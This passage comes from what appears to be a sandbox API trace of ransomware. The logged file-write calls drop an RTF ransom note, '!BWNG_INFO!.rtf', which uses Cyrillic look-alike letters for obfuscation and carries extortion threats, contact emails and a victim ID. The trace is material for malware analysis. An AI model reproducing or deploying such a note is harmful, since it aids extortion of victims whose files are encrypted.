T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c5dd8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nn", lpUsedDefaultChar=0x0) returned 14086 [0040.535] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.536] CloseHandle (hObject=0x1cc) returned 1 [0040.536] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\!bwng_info!.rtf")) returned 0xffffffff [0040.536] GetLastError () returned 0x2 [0040.536] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0040.538] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE 